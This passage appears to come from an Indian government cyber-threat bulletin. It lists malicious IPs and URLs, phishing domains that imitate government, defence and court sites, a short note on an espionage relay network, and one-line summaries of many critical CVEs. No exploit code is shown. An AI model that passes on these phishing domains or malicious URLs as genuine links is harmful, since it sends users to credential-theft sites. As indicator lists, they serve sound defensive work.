45.125.66.124

5.255.115.56

175.107.36.14

122.227.177.58

102.186.65.133

194.85.251.34

74.121.148.226

77.239.220.111

**URLs:-**

http://182.123.140.99:37568/

http://37.232.77.54:35793/

http://175.107.2.140:39941/

http://45.164.177.206:10513/

http://182.112.87.189:53257/

http://180.115.165.187:57360/

http://180.108.67.235:48032/

http://120.61.206.90:44765/

http://58.47.16.46:50602/

http://103.203.72.178:42019/

http://223.9.148.221:45988/

http://125.40.8.61:44745/

http://45.164.177.149:11059/

http://185.248.12.131:55027/

http://86.62.13.76:49158/

http://115.55.245.7:35025/

http://86.62.14.13:52974/

http://59.89.11.61:53572/

http://45.164.177.254:10371/

http://182.240.203.113:56696/

http://119.166.75.175:52945/

http://59.88.149.32:57530/

http://117.213.88.63:41692/

http://94.50.182.23:38722/

http://222.137.85.83:38125/

http://115.63.51.227:39815/

http://182.122.185.54:56611/

http://49.73.246.165:54885/

http://45.230.66.57:10789/

http://103.199.202.029:39435/

http://103.175.180.107:47060/

http://117.215.58.109:58312/

http://26.168.14.104:19490/

http://117.241.61.245:46661/

http://125.46.147.51:37374/

http://217.24.176.168:58216/

http://103.167.175.223:47831/

http://117.209.86.215:40527/

http://61.1.27.5:40257/

http://103.98.38.110:48729/

http://45.164.177.48:10318/

http://117.205.248.186:59385/

http://117.223.47.46:43223/

http://222.138.178.221:52726/

http://219.71.183.165:33950/

http://168.196.170.68:37703/

http://45.230.66.53:10371/

http://45.115.89.217:32942/

http://59.93.190.74:38931/

http://103.208.104.143:33643/

http://45.178.249.208:10968/

http://49.71.22.78:59251/

http://190.217.25.213:37462/

http://45.164.177.183:11184/

http://61.1.226.229:57989/

http://59.183.124.234:53573/

http://45.164.177.142:11100/

http://45.178.250.182:11733/

http://59.88.0.127:45619/

http://103.247.7.235:60325/

http://117.209.83.1:36300/

http://139.5.1.234:48904/

http://117.245.10.61:59343/

http://120.61.2.106:33540/

http://117.241.63.114:50368/

http://115.49.123.226:35240/

http://112.64.155.152:56767/

http://117.244.65.211:37484/

http://117.209.30.76:46545/

http://125.43.43.108:50138/

http://117.215.48.64:47566/

http://103.144.2.73:19490/

http://103.98.38.178:39629/

http://114.227.64.41:46640/

http://45.230.66.36:11243/

http://175.107.0.98:35504/

http://182.116.91.180:57956/

http://117.241.201.238:35451/

http://45.178.249.2:10333/

http://59.96.125.113:40828/

http://45.164.177.68:11187/

http://103.197.113.67:36758/

http://219.156.117.120:55392/

http://117.208.103.42:40745/

http://219.156.102.233:51688/

http://59.97.176.190:43756/

http://45.164.177.131:11645/

http://175.107.36.141:38581/

http://59.92.163.141:55832/

http://112.31.247.176:51674/

http://102.214.109.147:60859/

http://42.231.169.56:60574/

http://117.199.183.59:49010/

http://116.55.179.85:52788/

http://190.109.228.79:36710/

http://117.235.157.150:42222/

http://59.182.149.130:47363/

http://59.88.226.75:49076/

http://45.164.177.47:11777/

http://223.13.28.252:49776/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-PHI-2025-02-27-021**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain. It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain. The email contains a hyperlink  "https://623d-23-26-221-12.ngrok-free.app/" with title "https[://]mail.gov.in" which is currently not working. It is a mimicked/cloned page of a known website.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

13.56.217.111

**Domain:**

NgRok-Free.app

**URL:**

https://email-govs.icu

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-02-27-012**

**Vulnerability in needyamin Library Card System**

An unrestricted upload vulneability has been discovered in needyamin Library Card System. The affected version is needyamin Library Card System 1.0.

CVE ID: CVE-2025-1355 (Critical)

**Vulnerability in WordPress Avada Theme**

Arbitrary shortcode execution vulnerability has been discovered in Avada | Website Builder For WordPress & WooCommerce theme for WordPress. The affected versions are Avada | Website Builder For WordPress & WooCommerce theme for WordPress all versions up to, and including, 7.11.13.

CVE ID: CVE-2024-13346 (Critical)

**Vulnerability in Avada Builder plugin for WordPress**

Arbitrary shortcode execution vulnerability has been discovered in Avada Builder plugin for WordPress. The affected versions are Avada Builder plugin for WordPress all versions up to, and including, 3.11.13.

CVE ID: CVE-2024-13345 (Critical)

**Vulnerability in Campress theme for WordPress**

Local File Inclusion vulnerability has been discovered in Campress theme for WordPress. The affected versions are Campress theme for WordPress all versions up to, and including, 1.35.

CVE ID: CVE-2024-10763 (Critical)

**Vulnerability in Alex Tselegidis EasyAppointments**

Escalate of privilege vulnerability has been discovered in Alex Tselegidis EasyAppointments. The affected version is Alex Tselegidis EasyAppointments v.1.5.0.

CVE ID: CVE-2024-57602 (Critical)

**Vulnerability in D-Link**

Stack-based buffer overflow vulnerability has been discovered in D-Link. The affected version is D-Link DIR-853 A1 FW1.20B07.

CVE ID: CVE-2025-25746 (Critical)

**Vulnerability in Zimbra Collaboration**

A vulnerability has been discovered in the postjournal service in Zimbra Collaboration that allows unauthenticated users to execute commands. The affected versions are Zimbra Collaboration before 8.8.15 Patch 46, 9 before 9.0.0 Patch 41, 10 before 10.0.9, and 10.1 before 10.1.1.

CVE ID: CVE-2024-45519 (Critical)

**Vulnerability in PressMart - Modern Elementor WooCommerce WordPress Theme**

Arbitrary shortcode execution vulnerability has been discovered in PressMart - Modern Elementor WooCommerce WordPress Theme. The affected versions are PressMart - Modern Elementor WooCommerce WordPress Theme all versions up to, and including, 1.2.16.

CVE ID: CVE-2024-13797 (Critical)

**Vulnerability in Progress Telerik**

An improper limitation of a target path vulnerability has been discovered in Progress Telerik. The affected versions are Progress Telerik UI for WinForms, versions prior to 2025 Q1 (2025.1.211).

CVE ID: CVE-2025-0332 (Critical)

**Vulnerability in 8theme XStore Core**

Deserialization of Untrusted Data vulnerability has been discovered in 8theme XStore Core.

CVE ID: CVE-2024-33553 (Critical)

**Vulnerability in 8theme XStore Core**

SQL injection vulnerability has been discovered in 8theme XStore Core.

CVE ID: CVE-2024-33551 (Critical)

**Vulnerability in WordPress LTL Freight Quotes Unishippers Edition plugin**

A SQL injection vulnerability has been discovered in the LTL Freight Quotes Unishippers Edition plugin for WordPress. The affected versions are LTL Freight Quotes Unishippers Edition plugin, all versions up to and including 2.5.8.

CVE ID: CVE-2024-13477 (Critical)

**Vulnerability in WordPress WP Job Board Pro plugin**

A privilege escalation vulnerability has been discovered in the WP Job Board Pro plugin for WordPress. The affected versions are WP Job Board Pro plugin, all versions up to and including 1.2.76.

CVE ID: CVE-2024-12213 (Critical)

**Vulnerability in DataEase**

An unauthorized access vulnerability has been discovered in DataEase. The affected versions are DataEase prior to 2.10.4.

CVE ID: CVE-2024-56511 (Critical)

**Vulnerability in Peering Manager**

A Server Side Template Injection (SSTI) vulnerability has been discovered in Peering Manager, a BGP session management tool. The affected versions are Peering Manager 1.8.2 and prior.

CVE ID: CVE-2024-28114 (Critical)

**Vulnerability in ABB's Equipment**

The use of hard-coded credentials vulnerability has been discovered in ABB's Equipment- ASPECT-Enterprise, NEXUS and MATRIX series, which allow obtaining access to devices without proper authentication. The affected versions are ABB ASPECT-Enterprise ASP-ENT-x versions 3.08.03 and prior, ABB NEXUS Series NEX-2x versions 3.08.03 and prior, ABB NEXUS Series versions 3.08.03 and prior and ABB MATRIX Series MAT-x versions 3.08.03 and prior. The mitigations are available.

CVE ID: CVE-2024-51547 (Critical)

**ABB Security Update for FLXEON Controllers**

ABB has released a security update to resolve multiple vulnerabilities in FLXEON Controllers. The affected versions are FLXEON Controllers FBXi version 9.3.4 and prior, FLXEON Controllers FBVi version 9.3.4 and prior, FLXEON Controllers FBTi version 9.3.4 and prior, and FLXEON Controllers CBXi version 9.3.4 and prior. The mitigations are available.

CVE ID: CVE-2024-48841 (Critical), CVE-2024-48849 (Critical), CVE-2024-48852 (Critical)

**Elseta Security Updates for Vinci Protocol Analyzer**

Elseta has released security updates to resolve OS command injection vulnerability in  Vinci Protocol Analyzer. The affected versions are Elseta Vinci Protocol Analyzer versions prior to 3.2.3.19.

CVE ID: CVE-2025-1265 (Critical)

**Vulnerability in Logsign Unified SecOps Platform**

An authentication bypass vulnerability has been discovered in Logsign Unified SecOps Platform.

CVE ID: CVE-2025-1044 (Critical)

**Vulnerability in Teamwire**

A Cross Site Scripting (XSS) vulnerability has been discovered in the Teamwire Windows desktop client. The affected versions are Teamwire Windows desktop client v.2.0.1 through v.2.4.0.

CVE ID: CVE-2024-24276 (Critical)

**Security Updates for WordPress CarSpot Dealership Wordpress Classified Theme**

WordPress has released security updates to resolve a privilege escalation vulnerability in the CarSpot Dealership Wordpress Classified Theme. The affected versions are CarSpot Dealership Wordpress Classified Theme, all versions up to and including 2.4.3.

CVE ID: CVE-2024-12860 (Critical)

**Vulnerability in Keap Official Opt-in Forms plugin**

A local file inclusion vulnerability has been discovered in Keap Official Opt-in Forms plugin for WordPress. The affected versions are Keap Official Opt-in Forms plugin all versions up to and including 2.0.1.

CVE ID: CVE-2024-13725 (Critical)

**Siemens Security Updates for SiPass integrated**

Siemens has released security updates to address a directory traversal vulnerability in the third-party component DotNetZip, used in SiPass integrated. The affected products are SiPass integrated V2.90 & SiPass integrated V2.95.

CVE ID: CVE-2024-48510 (Critical)

**Vulnerability in Orca HCM**

An improper authentication vulnerability has been discovered in Orca HCM by LEARNING DIGITAL. The affected products are Orca HCM before version 11.0.

CVE ID: CVE-2025-1387 (Critical)

**Security Updates for WordPress s2Member Pro Plugin**

WordPress has released security updates to resolve a PHP object injection vulnerability in the s2Member Pro Plugin. The affected versions are s2Member Pro Plugin, all versions up to and including 241216.

CVE ID: CVE-2024-12562 (Critical)

**Security Updates for WordPress Oliver POS – A WooCommerce Point of Sale (POS) Plugin**

WordPress has released security updates to resolve a sensitive information exposure vulnerability in the Oliver POS – A WooCommerce Point of Sale (POS) Plugin. The affected versions are Oliver POS – A WooCommerce Point of Sale Plugin, all versions up to and including 2.4.2.3.

CVE ID: CVE-2024-13513 (Critical)

**Vulnerability in Apache OFBiz**

A path traversal vulnerability has been discovered in Apache OFBiz. The affected versions are Apache OFBiz: before 18.12.13. Security updates are available.

CVE ID: CVE-2024-32113 (Critical)

**Vulnerability in Apache InLong**

A deserialization of untrusted data vulnerability has been discovered in Apache InLong. The affected versions are Apache InLong from 1.7.0 through 1.11.0. Security updates are available.

CVE ID: CVE-2024-26579 (Critical)

**Vulnerability in Apache HugeGraph-Server**

A Remote Command Execution (RCE) vulnerability has been discovered in Apache HugeGraph-Server. The affected versions are Apache HugeGraph-Server from 1.0.0 before 1.3.0 in Java8 & Java11. Security updates are available.

CVE ID: CVE-2024-27348 (Critical)

**Vulnerability in Apache Fineract**

A SQL injection vulnerability has been discovered in Apache Fineract. The affected versions are Apache Fineract prior to 1.8.5.  Security updates are available.

CVE ID: CVE-2024-23539 (Critical)

**Vulnerability in Eclipse ThreadX NetX Duo**

A heap buffer overflow vulnerability has been discovered in Eclipse ThreadX NetX Duo. The affected versions are Eclipse ThreadX NetX Duo before 6.4.0.

CVE ID: CVE-2024-2452 (Critical)

**Multiple Vulnerabilities in ORing's Equipment**

Multiple vulnerabilities have been discovered in ORing's Equipment- IAP-20. The affected versions are ORing IAP-420: versions 2.01e and prior.

CVE ID: CVE-2024-5410 (Critical), CVE-2024-5411 (Critical)

**Multiple Vulnerabilities in mySCADA's Equipment**

Multiple vulnerabilities have been discovered in mySCADA's equipment- myPRO Manager. The affected versions are myPRO Manager versions prior to 1.4. Security update and mitigation are available.

CVE ID: CVE-2025-25067 (Critical), CVE-2025-24865 (Critical), CVE-2025-22896 (High), CVE-2025-23411 (Medium)

**Vulnerability in Dingtian's Equipment**

An authentication bypass vulnerability has been discovered in Dingtian's Equipment- DT-R0 Series. The affected versions are Dingtian DT-R002 version V3.1.3044A, DT-R008 version V3.1.1759A, DT-R016 version V3.1.2776A and DT-R032 version V3.1.3826A.

CVE ID: CVE-2025-1283 (Critical)

**Microsoft Released February 2025 Security Updates**

Microsoft has released security updates to address critical, high, and medium vulnerabilities in its products. An attacker can exploit some of these vulnerabilities to take control of an affected system.

CVE ID: CVE-2025-21198 (Critical)

**Vulnerability in WC Product Table WooCommerce Product Table Lite**

A missing authorization vulnerability has been discovered in WC Product Table WooCommerce Product Table Lite. The affected versions are WooCommerce Product Table Lite from n/a through 3.8.7.

CVE ID: CVE-2025-24596 (Critical)

**Vulnerability in TP-Link**

A vulnerability due to hard-coded RSA private key embedded within the device firmware has been discovered in TP-Link Tapo C500 Wi-Fi camera. The affected versions are TP-Link Tapo C500 V1 and V2.

CVE ID: CVE-2025-1099 (Critical)

**Vulnerability in Fanli2012 native-php-cms**

SQL injection vulnerability has been discovered in Fanli2012 native-php-cms. The affected version is Fanli2012 native-php-cms 1.0.

CVE ID: CVE-2025-0491 (Critical)

**Vulnerability in code-projects Admission Management System**

SQL injection vulnerability has been discovered in code-projects Admission Management System. The affected version is code-projects Admission Management System 1.0.

CVE ID: CVE-2025-0347 (Critical)

**Vulnerability in CodeAstro Ecommerce Site**

SQL injection vulnerability has been discovered in CodeAstro Ecommerce Site. The affected version is CodeAstro Ecommerce Site 1.0.

CVE ID: CVE-2024-2351 (Critical)

**Vulnerability in CasaOS**

A vulnerability has been discovered in CasaOS-UserService that leads to having full access to the server. The affected versions are CasaOS-UserService version 0.4.4.3 and prior to version 0.4.7.

CVE ID: CVE-2024-24767 (Critical)

**Vulnerability in SolarWinds**

Server-side request forgery vulnerability has been discovered in SolarWinds Platform.

CVE ID: CVE-2024-52606 (Critical)

**Vulnerability in Yealink**

Single hardcoded key vulnerability has been discovered in Yealink Configuration Encrypt Tool. The affected versions are Yealink Configuration Encrypt Tool AES version and Yealink Configuration Encrypt Tool RSA version before 1.2.

CVE ID: CVE-2024-24681 (Critical)

**Vulnerability in Sitepact**

SQL injection vulnerability has been discovered in Sitepact. The affected versions are Sitepact: from n/a through 1.0.5.

CVE ID: CVE-2024-25928 (Critical)

1. **TA-PHI-2025-02-27-022**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

dc.crsorgi.gov.in.crs.indaxs.in.smtpauth.site

crsorgi-gov-in.github.io

dc.crsorgi.gov.in.verifyin.live

dc.crsorgi.gov.in.crsorgioi.online

dc.crsorgi.gov.in.web.index.ex7ucl.in

gov.in.web.e-prints.xyz

crsorgi.gov.in.web.e-prints.xyz

dc.crsorgi.gov.in.crsa.site

crsorgi.gov.in.sbips.in

indiapost-gov-in.top

dc.crsorgi.gov.in.myadhaar.xyz

dc.crsorgi.gov.in.crs.verifycertificate.droft.shop

dc.crsorgi.gov.in.veernishad.online

dc.crsorgi.gov.in.index.verifycertificate.info

dc.crsorgi.gov.in.dc-verify.info

indecx.site

dc.crsorgi.gov.in.indexe.cloud

email.gov.in.departmentofdefenceindia.link

dc.crsorgi.gov.in.inix.live

dc.crsorgi.gov.in.crs.inedx.in

dc.crsorgi.gov.in.rmssolutionprint.xyz

dc.crsorgi.gov.in.indesx.cloud

dc.crsorgi.gov.in.unqtech.xyz

dc.crsorgi.gov.in.indx.viwe.life

dc.crsorgi.gov.in.vipcrs.info

dc.crsorgi.gov.in.vlew.xyz

dc.crsorgi.gov.in.viewpfd.in

dc.crsorgi.gov.in.in.viwe.life

dc.crsorgi.gov.in.viewcrsn.site

dc.crsorgi.gov.in.vlewcert.info

dc.crsorgi.gov.in.pdfverify.in

dc.crsorgi.gov.in.index.viewscrit.org

dc.crsorgi.gov.in.web-c.phpi.cloud

dc.crsorgi.gov.in.vivwcert.info

dc.crsorgi.gov.in.index.birth.onlline.in

dc.crsorgi.gov.in.index.in.suvidhaprint.site

dc.crsorgi.gov.in.osolution.in

dc.crsorgi.gov.in.endx.xyz

dc.crsorgi.gov.in.cscvle.shop

dc.crsorgi.gov.in.mrraj.shop

dc.crsorgi.gov.in.dcert.ink

dc.crsorgi.gov.in.ind2.xyz

dc.crsorgi.gov.in.dcverfy.in

dc.crsorgi.gov.in.rpjnsdl.co.in

dc.crsorgi.gov.in.verifycertificates.site

dc.crsorgi.gov.in.crs.indaxs.in

dc.crsorgi.gov.in.dclink.shop

dc.crsorgi.gov.in.in.crsorgioi.online

dc.crsorgi.gov.in.web.crsorgioi.online

dc.crsorgi.gov.in.smfind.shop

dc.crsorgi.gov.in.verifycerti.online

dc.crsorgi.gov.in.crs.dcseo.online

dc.crsorgi.gov.in

dc.crsorgi.gov.in.verifycertificate.gsaddaprint.xyz

dc.crsorgi.gov.in.shahji.cam

dc.crsorgi.gov.in.web-index.cloud

dc.crsorgi.gov.in.crsorg.buzz

dc.crsorgi.gov.in.imgpdf.top

dc.crsorgi.gov.in.verfiycerti.co.in

dc.crsorgi.gov.in.verify.gsaddartps.xyz

dc.crsorgi.gov.in.govi.site

dc.crsorgi.gov.in.skfastportal.site

dc.crsorgi.gov.in.crssg.shop

dc.crsorgi.gov.in.birthvew.online

dc.crsorgi.gov.in.birthwala.site

dc.crsorgi.gov.in.certificateonline.agency

dc.crsorgi.gov.in.certificateverify.in

dc.crsorgi.gov.in.certifiicate.in

dc.crsorgi.gov.in.verify.certificata.online

dc.crsorgi.gov.in.cphp.info

zpamravati-gov.in

dc.crsorgi.gov.in.web.crs.dcorgi.in

dc-crsorgi.gov.in.web.crs.dcorgi.in

crsorgi.gov.in.web.vlecert.site

email-gov-in.cdu.cm

dc.crsrogi.gov.in.web-index.cloud

email.gov.in.defenceindia.link

dc.crsorgi.gov.in.web.indax.auth.dc-verifycertificate.info

dc.crsorgi.gov.in.web.index.phpi.dc-verify.info

dc.crsorgi.gov.in.web.index.phei.info

dc.crsorgi.gov.in.web.inoex.cloud

dc.crsorgi.gov.in.web.ogii.in

dc.crsorgi.gov.in.web.index.verify.uniquesewa.site

dc.crsorgi.gov.in.web.index.auth.weiw.site

dc.crsorgi.gov.in.web.lndax.xyz

dc.crsorgi.gov.in.wiev.xyz

dc.crsorgi.gov.in.web.index.indaxs.in

dc.crsorgi.gov.in.web.viewcerty.in

dc.crsorgi.gov.in.web.org.royalprintportal.xyz

dc.crsorgi.gov.in.web.load.phpe.xyz

dc.crsorgi.gov.in.web.php.lndax.xyz

dc.crsorgi.gov.in.web.index.verify.royalucl.in

dc.crsorgi.gov.in.web.index.auth.verifycerti.online

dc.crsorgi.gov.in.web.index.auth.dc-verifycertificate.info

dc.crsorgi.gov.in.web.phei.info

dc.crsorgi.gov.in.web.in.ogii.in

dc.crsorgi.gov.in.web.index.auth.weiws.site

dc.crsorgi.gov.in.web.index.php.ogii.in

dc.crsorgi.gov.in.web.vle.site.vlecert.site

dc.crsorgi.gov.in.web.index.rautenterprises.in

dc.crsorgi.gov.in.web.php.inbexx.site

dc.crsorgi.gov.in.web.weiw.site

dc.crsorgi.gov.in.web.index.wiew.in

dc.crsorgi.gov.in.xpsdigi.solutions

dc.crsorgi.gov.in.web.index.auth.verifycertiificate.live

dc.crsorgi.gov.in.web.index.php.carit.site

dc.crsorgi.gov.in.web.verfycertificate.live

dc.crsorgi.gov.in.web.org.crsorgi.solutions

dc.crsorgi.gov.in.web.index.dc-verify.info

dc.crsorgi.gov.in.web.index.birtht.shop

dc.crsorgi.gov.in.web.index.auth.verifyphpi.info

keralapsc-gov.in

gov.in.cscvle.store.droft.shop

mp.gov.in.consulting

gov.in.igaxis.site

gov.in.consulting

dc.csrorgi.gov.in.web.viewes.site

gov.in.departmentofdefenceindia.link

ladlilaxmi.mp.gov.in.consulting

dc.crsorgi.gov.in.index.php.oneepson.xyz

dc.crsorgi.gov.in.viawcart.info

dc.crsorgi.gov.in.rajaco.xyz

dc.crsorgi.gov.in.viewdob.xyz

crsorgi.gov.in.web.index.viewdob.xyz

email.gov.in.indiandefenceforces.link

dc.crsorgi.gov.in.orgi.tech

dc.crsorgi.gov.in.oirg.in

crsorgi.gov.in.web.index.e-prints.xyz

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-02-27-008**

It has been reported that threat actors are using Operation Relay Box (ORB) network to target critical sectors specially telecom and government sector. Threat group have leveraged SPACEHOP (aka ORB3) to conduct cyber espionage operations. Operation Relay Box (ORB) network is a hybrid network leased VPS servers and compromised devices, similar to botnet. The ORB3 network has facilitated network reconnaissance scanning and vulnerability exploitation.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

78.24.205.143

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-27-023**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

accountmygov.info

crsorgi.gov.in.web.i.viewcert.org

crsorgi.gov.in.web.index.php.auth.viewcert.org

crsorgi.gov.in.web.index.php.viewcert.org

crsorgi.gov.in.web.viewcert.org

dc.crsorgi.gov.in.web.index.php

dc.crsorgi.gov.in.web.index.php.viewcert.org

digitalguidegov.in.zjhcwthm.a2hosted.com

gov.in.web.index.php.viewcert.org

gov.in.web.viewcert.org

in.web.index.php.auth.viewcert.org

in.web.viewcert.org

mail.viewcert.org

ww25.gov.incometaxindia.org

www.dev.incometaxindia.org

www.gov.incometaxindia.org

www.home.incometaxindia.org

www.incometaxindia.org

\*.incometaxindia.org

email.gov.in.indiadefencedepartment.link

\*.indiadefencedepartment.link

indiaapostgovin.click

indiapostgov.ink

efilegovinfo.com

indiaapostgovin.help

homeaffairs-gov.info

dc.csrogi.gov.in.web-index.cloud

pay-specificity.verifycentralid-gov.inc.expreseeable.com

verifycentralid-gov.inc.expreseeable.com

cogov.in.rs

patnahighcourt.onlinepanel.in.net

mahaprisons.onlinepanel.in.net

aiimsexams.onlinepanel.in.net

agricoop.gov.in.onlinepanel.in.net

jointerritorialarmy.onlinepanel.in.net

bcclweb.onlinepanel.in.net

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***